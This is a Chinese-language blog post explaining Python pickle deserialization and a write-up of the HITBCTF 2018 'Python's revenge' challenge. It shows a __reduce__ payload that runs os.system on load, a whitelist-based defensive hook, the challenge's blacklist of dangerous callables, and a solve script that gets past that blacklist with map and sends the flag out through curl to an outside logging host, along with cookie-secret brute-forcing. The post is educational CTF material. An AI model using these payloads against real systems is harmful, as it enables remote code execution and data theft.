Pickle 反序列化漏洞

序列化与反序列化基础

我们知道各大语言都有其序列化数据的方式,Python当然也有,官方库里提供了一个叫做pickle/cPickle的库,这两个库的作用和使用方法都是一致的,只是一个用纯py实现,另一个用c实现而已。使用起来也很简单,基本和PHP的serialize/unserialize方法一样:

import cPickle 

data = "test" 
packed = cPickle.dumps(data) # 序列化 
data = cPickle.loads(packed) # 反序列化 

>>> packed 
"S'test'\np1\n."

同样pickle可以序列化python的任何数据结构,包括一个类,一个对象:

class A(object):
    a = 'aaa'
    b = 2
    def __init__(self):
        print self.a,self.b 

print [pickle.dumps(A())]

aaa 2
['ccopy_reg\n_reconstructor\np0\n(c__main__\nA\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.']

但我们发现序列化的字符串中并没有A类的a,b属性的值,因为序列化存储的是对象的数据,而不是类的数据, 我们在构造函数中用self添加一个对象的成员数据

class A(object):
    a = 'aaa'
    b = 2
    def __init__(self):
        self.c = 'test'
        print self.a,self.b 

print [pickle.dumps(A())]

aaa 2
["ccopy_reg\n_reconstructor\np0\n(c__main__\nA\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'c'\np6\nS'test'\np7\nsb."]

可以看到序列化字符串中多了一个(dp5\nS'c'\np6\nS'test'\np7\nsb 的数据,就是我们存储的成员数据

继承object和不继承的区别

demo: 继承object类

class Test(object):
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'


aa = Test()
bb = pickle.dumps(aa)
print [bb],pickle.loads(bb)

>>>
["ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'a'\np6\nI1\nsS'c'\np7\nS'3'\np8\nsS'b'\np9\nS'2'\np10\nsb."] <__main__.Test object at 0x7f2176f91610>

demo2 : 不继承object

class Test():
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'


aa = Test()
bb = pickle.dumps(aa)
print [bb],pickle.loads(bb)

>>>
["(i__main__\nTest\np0\n(dp1\nS'a'\np2\nI1\nsS'c'\np3\nS'3'\np4\nsS'b'\np5\nS'2'\np6\nsb."] <__main__.Test instance at 0x7f83aa698ef0>

__reduce__

官方文档中说过,pickle是个不安全的模块,永远别去反序列化不信任的数据。

这一切都是因为reduce 魔术方法,它在序列化的时候会完全改变被序列化的对象,这个方法相当的强大,官方建议不要直接操作这个方法,用更高级的接口 __getnewargs(), getstate() and setstate() 等代替。

这个方法有两种返回值方式:

如果返回值是一个字符串,那么将会去查找字符串值对应名字的对象,将其序列化之后返回。
如果返回值是元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组,剩下三个可选。
第一种方式先暂且不谈,重要的是第二种方式,看下面例子:

但该模式方法需要继承object类

我们利用reduce做一个测试:

class Test(object):
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'
    def __reduce__(self):
        return (os.system,('ls',))

aa = Test()
bb = pickle.dumps(aa)
print [bb],pickle.loads(bb)

>>>
["cposix\nsystem\np0\n(S'ls'\np1\ntp2\nRp3\n."]sandbox.py
templates
test.py
 0

成功执行了我们的代码

我们来理解一下发生了什么:

  1. 我们将恶意代码插入一个对象中,并将其序列化,得到字节序列

    ["cposix\nsystem\np0\n(S'ls'\np1\ntp2\nRp3\n."]

从字节序列我们就能看出来,序列化之后的数据已经完全和Test类没有关系,只剩下了os.system和参数了

  1. 我就着pickle模块看了一下,发现它是基于词法和语法分析(想想编译原理)来完成解析的,对每一个字符都注册相应的处理函数,挨个分析,分行读取处理(所以你会看到那么多 \n),最后在 R 标志符的时候执行调用操作

防御

对于 pickle ,我觉得可以尝试去为Unpickler 添加一个自己写的装饰器,HOOK刚刚的 load_reduce 函数 ,用白名单的思想去解决。

#!/usr/bin/env python
# coding:utf-8
# author 9ian1i
# created at 2017.03.24
# a demo for filter unsafe callable object

from pickle import Unpickler as Unpkler
from pickle import *

try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

# 修改以下白名单,确认你允许通过的可调用对象
allow_list = [str, int, float, bytes, unicode]


class FilterException(Exception):

    def __init__(self, value):
        super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value)))


def _hook_call(func):
    """装饰器 用来在调用callable对象前进行拦截检查"""
    def wrapper(*args, **kwargs):
        if args[0].stack[-2] not in allow_list:
            # 我直接抛出自定义错误,改为你想做的事
            raise FilterException(args[0].stack[-2])
        return func(*args, **kwargs)
    return wrapper


# 重写了反序列化的两个函数
def load(file):
    unpkler = Unpkler(file)
    unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
    return Unpkler(file).load()


def loads(str):
    file = StringIO(str)
    unpkler = Unpkler(file)
    unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
    return unpkler.load()


def _filter_test():
    test_str = 'c__builtin__\neval\np0\n(S"os.system(\'net\')"\np1\ntp2\nRp3\n.'
    loads(test_str)

if __name__ == '__main__':
    _filter_test()

HITBCTF 2018 Python's revenge

from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string

import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile

SECRET_KEY = 'you will never guess'

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

app = Flask(__name__)
app.config.from_object(__name__)

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]


@app.before_request
def count():
    session['cnt'] = 0


@app.route('/')
def home():
    remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
    new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('index.html', txt=remembered_str, location=location)


@app.route('/clear')
def clear():
    print("Reminder cleared!")
    response = redirect(url_for('home'))
    response.set_cookie('location', max_age=0)
    return response


@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            print("Message cleared, tell us when you have found more brains.")
        else:
            print("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie)
        print 'location'
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('reminder.html')


class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__(
            'The callable object {value} is not allowed'.format(value=str(value)))


class TimesException(Exception):
    def __init__(self):
        super(TimesException, self).__init__(
            'Call func too many times!')


def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper


def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    print strs,files,unpkler
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()


def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    print (digest, location),calc_digest(location, cookie_secret)
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        print("Hey! This is not a valid cookie! Leave me alone.")

        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()



if __name__ == '__main__':

    app.run(host="0.0.0.0", port=5051)

这里考察的就是pickle发序列化的问题,我们可以控制反序列化的内容,就可以直接构造__reduce__魔术方法任意命令执行

但这里加了一个hook函数对callback进行过滤,然后用的确实黑名单,我们可以用map函数去绕过黑名单的限制

思路:

  1. 访问/reminder生成location, 本地爆破secret
  2. 利用map函数绕过黑名单任意命令执行

直接上脚本了:

#!/usr/bin/env python       
# -*- coding: utf-8 -*-

from hashlib import sha256
import string
import cPickle
import pickle
from cStringIO import StringIO
import os
from base64 import b64decode as b64d
from base64 import b64encode as b64e

#return sha256("%s%s" % (location, secret)).hexdigest()

class Test(object):
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'
    def __reduce__(self):
        return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"])

aa = Test()
payload = b64e(pickle.dumps(aa))
# print [bb]
# print [bb],pickle.loads(bb)

sdic = string.ascii_letters + string.digits

#payload = "Y19fYnVpbHRpbl9fCm1hcApwMAooY3Bvc2l4CnN5c3RlbQpwMQoobHAyClMnd2dldCAxMjMuMjA2LjY1LjE2NzoyMDAwL2B3aG9hbWlgJwpwMwphdHA0ClJwNQou"
old_digest = "f8a7e6ad4673e0ec405790e76934b7b0eb34d9b9a4c1eece0f9cb4d7ae71fff4"

# for a in sdic:
#   for b in sdic:
#       for c in sdic:
#           for d in sdic:
#               secret = a+b+c+d
#               #print s
#               digest = sha256(payload+secret).hexdigest()
#               #print digest
#               if digest == old_digest:
#                   print secret,digest 
#                   break


print sha256(payload+"hitb").hexdigest()+'!'+payload


print sha256(payload+"LJIK").hexdigest()+'!'+payload

没有回显的命令执行,直接用weblog方式带出来


image.png

总结:

  1. Pickle反序列化知识之前没太深入了解,但通过看了很多资料最后还是成功做出了这题,CTF如果出现了你不了解的知识,可以先去看各种资料大概了解后再去做题,这才是CTF的魅力,也是CTFer需要掌握的本领
  2. 本地复现环境很重要。

参考:

https://blog.csdn.net/yanghuan313/article/details/65010925

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,830评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,992评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,875评论 0 331
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,837评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,734评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,091评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,550评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,217评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,368评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,298评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,350评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,027评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,623评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,706评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,940评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,349评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,936评论 2 341

推荐阅读更多精彩内容

  • 第5章 引用类型(返回首页) 本章内容 使用对象 创建并操作数组 理解基本的JavaScript类型 使用基本类型...
    大学一百阅读 3,204评论 0 4
  •   引用类型的值(对象)是引用类型的一个实例。   在 ECMAscript 中,引用类型是一种数据结构,用于将数...
    霜天晓阅读 1,031评论 0 1
  • 15号 我:老公,快到发工资的日子了。 老公:不是跟你说,提前三天跟我要钱么? 我:今天15号,正好还有3天。 老...
    画屏闲展阅读 320评论 0 3
  • 捧起一盏星月 卸下半生离别 巫山是云 沧海为水 蓦然回首中 可有冬雷夏雪 远山已暮 北风决绝 遥望尘寰里 多少无眠...
    涛涛不绝82阅读 267评论 0 2
  • // 定位的头文件 import "CCLocationManager.h" 需要遵守的代理 <CLLocatio...
    蜗牛锅阅读 629评论 0 0